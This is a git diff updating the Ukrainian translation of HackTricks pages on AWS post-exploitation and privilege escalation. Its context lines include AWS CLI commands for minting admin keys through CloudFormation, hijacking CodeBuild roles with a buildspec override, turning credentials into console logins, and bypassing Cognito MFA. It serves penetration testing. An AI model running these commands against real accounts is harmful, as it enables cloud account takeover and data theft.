ненавмисні дії або виснажити ресурси. ```bash aws sns publish --topic-arn --message ``` @@ -45,11 +45,11 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` -**Потенційний вплив**: Несанкціонований доступ до повідомлень, порушення роботи для додатків, що залежать від ураженої теми. +**Потенційний вплив**: Неавторизований доступ до повідомлень, порушення роботи для додатків, що залежать від ураженої теми. ### `sns:AddPermission` , `sns:RemovePermission` -Зловмисник може надати несанкціонованим користувачам або сервісам доступ до теми SNS або відкликати дозволи для законних користувачів, що призведе до порушень у нормальному функціонуванні додатків, які залежать від теми. +Зловмисник може надати неавторизованим користувачам або сервісам доступ до теми SNS або відкликати дозволи для законних користувачів, що призведе до порушень у нормальному функціонуванні додатків, які залежать від теми. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 2dd534944..7ef90dbdb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -12,26 +12,26 @@ ### `sqs:SendMessage` , `sqs:SendMessageBatch` -Зловмисник може надсилати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. +Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Потенційний вплив**: Використання вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. +**Потенційний вплив**: Експлуатація вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що призводить до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення. +Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що може призвести до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**Потенційний вплив**: Викрадення чутливої інформації, втрата повідомлень, пошкодження даних та порушення роботи додатків, що залежать від уражених повідомлень. +**Потенційний вплив**: Викрадення чутливої інформації, втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень. ### `sqs:DeleteQueue` -Зловмисник може видалити цілу чергу SQS, що призведе до втрати повідомлень та вплине на додатки, які залежать від черги. +Зловмисник може видалити цілу чергу SQS, що призведе до втрати повідомлень і вплине на додатки, які залежать від черги. ```arduino Copy codeaws sqs delete-queue --queue-url ``` @@ -68,6 +68,6 @@ aws sqs untag-queue --queue-url --tag-keys ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` -**Потенційний вплив**: Порушення нормального функціонування додатків, що залежать від черги, через несанкціоноване видалення дозволів. +**Потенційний вплив**: Порушення нормального функціонування додатків, що покладаються на чергу, через несанкціоноване видалення дозволів. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index f5ddd8239..1c875c9b0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -1,8 +1,8 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO та identitystore Після Експлуатації {{#include ../../../banners/hacktricks-training.md}} -## SSO & identitystore +## SSO та identitystore Для отримання додаткової інформації перегляньте: diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index af987dc88..fc01ab59e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Step Functions -Для отримання додаткової інформації про цю службу AWS, перегляньте: +Для отримання додаткової інформації про цей сервіс AWS, перегляньте: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,7 +12,7 @@ ### `states:RevealSecrets` -Цей дозвіл дозволяє **викривати секретні дані під час виконання**. Для цього потрібно встановити рівень перевірки на TRACE і параметр revealSecrets на true. +Цей дозвіл дозволяє **викривати секретні дані під час виконання**. Для цього потрібно встановити рівень інспекції на TRACE і параметр revealSecrets на true.
@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **Potential Impact**: Порушення критичних робочих процесів, втрата даних та простої в роботі. +- **Потенційний вплив**: Порушення критичних робочих процесів, втрата даних та простої в роботі. ### `states:UpdateMapRun` -Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, зможе збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зможе зменшити це значення до 0, так що щоразу, коли елемент зазнає невдачі, весь запуск карти зазнає невдачі, що безпосередньо вплине на виконання станів машини та потенційно порушить критичні робочі процеси. +Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, маючи можливість збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зменшуючи це значення до 0, так що щоразу, коли елемент зазнає невдачі, весь запуск карти зазнає невдачі, що безпосередньо вплине на виконання станів і потенційно порушить критичні робочі процеси. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -45,14 +45,14 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] -> Ця дія не підтримується **експрес-машинами станів**. +> Ця дія не підтримується **express state machines**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **Potential Impact**: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних. +- **Потенційний вплив**: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних. ### `states:TagResource`, `states:UntagResource` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index f30f53246..c17ddbb2a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - STS Постексплуатація +# AWS - STS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` #### aws_consoler -Ви можете **згенерувати посилання на веб-консоль** за допомогою [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). +Ви можете **згенерувати посилання на веб-консоль** з [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **Обхід обмежень User-Agent з Python** -Якщо існує **обмеження на виконання певних дій на основі user agent** (наприклад, обмеження використання бібліотеки python boto3 на основі user agent), можна використовувати попередню техніку для **підключення до веб-консолі через браузер**, або ви можете безпосередньо **змінити user-agent boto3**, виконавши: +Якщо існує **обмеження на виконання певних дій на основі user agent** (наприклад, обмеження використання бібліотеки python boto3 на основі user agent), можливо використовувати попередню техніку для **підключення до веб-консолі через браузер**, або ви можете безпосередньо **змінити user-agent boto3**, виконавши: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index 1ee938dd2..99eb75a35 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -1,8 +1,8 @@ -# AWS - Привілейоване підвищення +# AWS - Підвищення Привілеїв {{#include ../../../banners/hacktricks-training.md}} -## Привілейоване підвищення в AWS +## Підвищення Привілеїв в AWS Спосіб підвищити свої привілеї в AWS - це мати достатньо дозволів, щоб, так чи інакше, отримати доступ до привілеїв інших ролей/користувачів/груп. Ланцюгове підвищення, поки ви не отримаєте адміністративний доступ до організації. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 925a04bb7..a8ee8541c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -12,7 +12,7 @@ ### `apigateway:POST` -З цією дозволом ви можете генерувати ключі API для налаштованих API (по регіону). +З цим дозволом ви можете генерувати ключі API для налаштованих API (по регіону). ```bash aws --region apigateway create-api-key ``` @@ -35,7 +35,7 @@ aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**Потенційний вплив:** Ви, зазвичай, не зможете підвищити привілеї безпосередньо за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. +**Потенційний вплив:** Зазвичай ви не зможете безпосередньо підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` @@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > Потрібно тестування -Зловмисник з правами `apigateway:UpdateAuthorizer` та `apigateway:CreateDeployment` може **модифікувати існуючий авторизатор API Gateway**, щоб обійти перевірки безпеки або виконати довільний код під час виконання запитів API. +Зловмисник з правами `apigateway:UpdateAuthorizer` та `apigateway:CreateDeployment` може **модифікувати існуючий авторизатор API Gateway**, щоб обійти перевірки безпеки або виконати довільний код під час виконання запитів до API. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > Потрібно тестування -Зловмисник з дозволом `apigateway:UpdateVpcLink` може **змінити існуюче VPC посилання, щоб вказати на інший мережевий балансувальник навантаження, потенційно перенаправляючи приватний API-трафік на несанкціоновані або шкідливі ресурси**. +Зловмисник з дозволом `apigateway:UpdateVpcLink` може **змінити існуюче VPC Link, щоб вказати на інший Network Load Balancer, потенційно перенаправляючи приватний API-трафік на несанкціоновані або шкідливі ресурси**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 100e0fb80..02774f317 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -Для отримання додаткової інформації про cloudformation дивіться: +Для отримання додаткової інформації про cloudformation перегляньте: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -У цьому випадку ви можете **зловживати існуючим стеком cloudformation**, щоб оновити його та ескалувати привілеї, як у попередньому сценарії: +У цьому випадку ви можете **зловживати існуючим стеком cloudformation**, щоб оновити його та підвищити привілеї, як у попередньому сценарії: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -37,7 +37,7 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` дозволяє **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. +Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. **Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation. @@ -45,7 +45,7 @@ aws cloudformation update-stack \ Якщо у вас є цей дозвіл, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні). -`cloudformation:SetStackPolicy` дозволяє **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. +Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. **Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation, яка вже прикріплена. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index 7a7e8526f..41fb23703 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Зловмисник може, наприклад, використовувати **шаблон cloudformation**, який генерує **ключі для адміністратора** користувача, такі як: +Зловмисник може, наприклад, використати **шаблон cloudformation**, який генерує **ключі для адміністратора** користувача, такі як: ```json { "Resources": { @@ -62,7 +62,7 @@ aws cloudformation create-stack --stack-name privesc \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**Зачекайте кілька хвилин** на створення стеку, а потім **отримайте вихідні дані** стеку, де **зберігаються облікові дані**: +**Зачекайте кілька хвилин**, поки стек буде згенеровано, а потім **отримайте вихідні дані** стека, де **зберігаються облікові дані**: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index f53cb4654..70974bfdb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM codebuild**, створивши запущену. +Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM Codebuild**, створивши працюючу. {{#tabs }} {{#tab name="Example1" }} @@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} -{{#tab name="Приклад2" }} +{{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command @@ -188,7 +188,7 @@ aws codebuild start-build --project-name codebuild-demo-project ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Як і в попередньому розділі, але **без дозволу `iam:PassRole`**, ви можете зловживати цими дозволами, щоб **модифікувати існуючі проекти Codebuild та отримати доступ до ролі, яку вони вже мають призначену**. +Як у попередньому розділі, але **без дозволу `iam:PassRole`**, ви можете зловживати цими дозволами, щоб **модифікувати існуючі проекти Codebuild та отримати доступ до ролі, яку вони вже мають призначену**. {{#tabs }} {{#tab name="StartBuild" }} @@ -268,7 +268,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Маючи **достатньо прав для запуску сесії ssm**, можливо потрапити **в проект Codebuild**, що будується. +Маючи **достатньо прав для запуску сесії ssm**, можна потрапити **в проект Codebuild**, що будується. Проект codebuild повинен мати точку зупинки: @@ -308,7 +308,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -Ви можете використовувати щось подібне до цього **buildspec**, щоб отримати **reverse shell**: +Ви можете використовувати щось на зразок цього **buildspec**, щоб отримати **reverse shell**: ```yaml:buildspec.yml version: 0.2 @@ -320,7 +320,7 @@ commands: **Вплив:** Пряме підвищення привілеїв до ролі, що використовується працівником AWS CodeBuild, яка зазвичай має високі привілеї. > [!WARNING] -> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити +> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити. Більше деталей можна знайти [тут](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index c7f08ee81..a2655469d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -26,7 +26,7 @@ ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -Можливо, можна змінити роль, що використовується, і команду, що виконується на codepipeline, з попередніми дозволами. +Можливо, можна змінити роль, що використовується, і команду, що виконується в codepipeline, з попередніми дозволами. ### `codepipeline:pollforjobs` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 912f55dd5..0dd679866 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -41,7 +41,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ ``` Якщо ви вже є **учасником проекту**, ви можете використовувати дозвіл **`codestar:UpdateTeamMember`** для **оновлення вашої ролі** на власника замість `codestar:AssociateTeamMember`. -**Потенційний вплив:** Privesc до політики codestar, що була згенерована. Ви можете знайти приклад цієї політики в: +**Потенційний вплив:** Privesc до політики codestar. Ви можете знайти приклад цієї політики в: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -55,10 +55,10 @@ codestar-createproject-codestar-associateteammember.md - Цей доступ специфічно націлений на стек, пов'язаний з роллю IAM `CodeStarWorker--CloudFormation`. 2. **Оновити цільовий стек:** - З наданими дозволами CloudFormation продовжте оновлення вказаного стеку. -- Ім'я стека зазвичай відповідатиме одному з двох шаблонів: +- Ім'я стеку зазвичай відповідатиме одному з двох шаблонів: - `awscodestar--infrastructure` - `awscodestar--lambda` -- Точне ім'я залежить від обраного шаблону (посилаючись на приклад експлойт-скрипта). +- Точне ім'я залежить від обраного шаблону (зверніться до прикладу експлойт-скрипта). 3. **Доступ і дозволи:** - Після оновлення ви отримуєте можливості, призначені для **CloudFormation IAM ролі**, пов'язаної зі стеком. - Примітка: Це не надає автоматично повних адміністративних привілеїв. Додаткові неправильно налаштовані ресурси в середовищі можуть бути необхідні для подальшого підвищення привілеїв. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 92b43db09..c39e597bb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Це створена політика, до якої користувач може підвищити свої привілеї (ім'я проекту було `supercodestar`): +Це створена політика, до якої користувач може підвищити привілеї (ім'я проекту було `supercodestar`): ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 38424eb2c..7a8d06fc9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -32,7 +32,7 @@ {% file src="../../../../images/empty.zip" %} -Пам'ятайте, що **бакет з обома файлами має бути доступний обліковому запису жертви**. +Пам'ятайте, що **бакет з обома файлами повинен бути доступний обліковому запису жертви**. З обома завантаженими файлами ви тепер можете перейти до **експлуатації**, створюючи проект **codestar**: ```bash @@ -79,6 +79,6 @@ aws codestar create-project \ --source-code file://$SOURCE_CODE_PATH \ --toolchain file://$TOOLCHAIN_PATH ``` -Цей експлойт базується на **Pacu експлойті цих привілеїв**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) На ньому ви можете знайти варіацію для створення адміністраторської керованої політики для ролі замість користувача. +Цей експлойт базується на **експлойті Pacu цих привілеїв**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) На ньому ви можете знайти варіацію для створення адміністраторської керованої політики для ролі замість користувача. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ff85c0496..f4c7dc4ae 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -12,15 +12,15 @@ ### Збір облікових даних з Identity Pool -Оскільки Cognito може надавати **облікові дані IAM ролі** як **авторизованим**, так і **неавторизованим** **користувачам**, якщо ви знайдете **ID Identity Pool** програми (повинен бути закодований в ній), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних). +Оскільки Cognito може надавати **облікові дані IAM ролі** як **автентифікованим**, так і **неавтентифікованим** **користувачам**, якщо ви знайдете **ID Identity Pool** додатку (повинен бути закодований в ньому), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних). Для отримання додаткової інформації [**перегляньте цю сторінку**](../aws-unauthenticated-enum-access/#cognito). -**Потенційний вплив:** Прямий privesc до ролі сервісу, прикріпленої до неавторизованих користувачів (і, ймовірно, до тієї, що прикріплена до авторизованих користувачів). +**Потенційний вплив:** Прямий privesc до ролі сервісу, прикріпленої до неавтентифікованих користувачів (і, ймовірно, до тієї, що прикріплена до автентифікованих користувачів). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -З цією дозволом ви можете **надавати будь-яку роль cognito** авторизованим/неавторизованим користувачам програми cognito. +З цією дозволом ви можете **надавати будь-яку роль cognito** автентифікованим/неавтентифікованим користувачам додатку cognito. ```bash aws cognito-identity set-identity-pool-roles \ --identity-pool-id \ @@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \ --identity-id \ --logins cognito-idp..amazonaws.com/= ``` -Цю дозволу також можна **зловживати для дозволу базової аутентифікації**: +Також можливо **зловживати цим дозволом, щоб дозволити базову аутентифікацію**: ```bash aws cognito-identity update-identity-pool \ --identity-pool-id \ @@ -88,11 +88,11 @@ aws cognito-idp admin-add-user-to-group \ ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` -**Потенційний вплив:** Привілейоване підвищення до інших ролей IAM Cognito. +**Потенційний вплив:** Privesc до інших ролей IAM Cognito. ### `cognito-idp:AdminConfirmSignUp` -Цей дозвіл дозволяє **підтвердити реєстрацію**. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу. +Ця дозволяє **підтвердити реєстрацію**. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу. ```bash aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ @@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \ --password \ --permanent ``` -**Потенційний вплив:** Пряме підвищення привілеїв до потенційно будь-якого користувача, отже доступ до всіх груп, членом яких є кожен користувач, та доступ до аутентифікованої IAM ролі Identity Pool. +**Потенційний вплив:** Пряме підвищення привілеїв до потенційно будь-якого користувача, отже, доступ до всіх груп, членом яких є кожен користувач, та доступ до ролі IAM, автентифікованої через Identity Pool. ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` @@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \ --username \ --mfa-options ``` -**SetUserMFAPreference:** Схоже на попереднє, ця дозволяє використовувати для налаштування переваг MFA користувача, щоб обійти захист MFA. +**SetUserMFAPreference:** Подібно до попереднього, цей дозвіл може бути використаний для налаштування переваг MFA користувача для обходу захисту MFA. ```bash aws cognito-idp admin-set-user-mfa-preference \ [--sms-mfa-settings ] \ @@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \ --username \ --user-pool-id ``` -**SetUserPoolMfaConfig**: Схоже на попереднє, ця дозволена дія може бути використана для налаштування переваг MFA пулу користувачів, щоб обійти захист MFA. +**SetUserPoolMfaConfig**: Подібно до попереднього, цей дозвіл можна використовувати для налаштування переваг MFA користувацького пулу, щоб обійти захист MFA. ```bash aws cognito-idp set-user-pool-mfa-config \ --user-pool-id \ @@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** Також можливо оновити пул користувачів, щоб змінити політику MFA. [Перевірте cli тут](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** Також можливо оновити пул користувачів, щоб змінити політику MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). **Potential Impact:** Непряме підвищення привілеїв до потенційно будь-якого користувача, облікові дані якого відомі атакуючому, це може дозволити обійти захист MFA. ### `cognito-idp:AdminUpdateUserAttributes` -Атакуючий з цим дозволом міг би змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку.\ +Атакуючий з цим дозволом може змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку.\ Це дозволяє змінити електронну пошту або номер телефону та встановити його як перевірений. ```bash aws cognito-idp admin-update-user-attributes \ @@ -178,11 +178,11 @@ aws cognito-idp admin-update-user-attributes \ --username \ --user-attributes ``` -**Потенційний вплив:** Потенційний непрямий підвищення привілеїв в основному додатку, що використовує Cognito User Pool, який надає привілеї на основі атрибутів користувача. +**Потенційний вплив:** Потенційний непрямий підвищення привілеїв в основному застосунку, що використовує Cognito User Pool, який надає привілеї на основі атрибутів користувача. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -Зловмисник з цим дозволом може **створити новий User Pool Client менш обмежений**, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволити 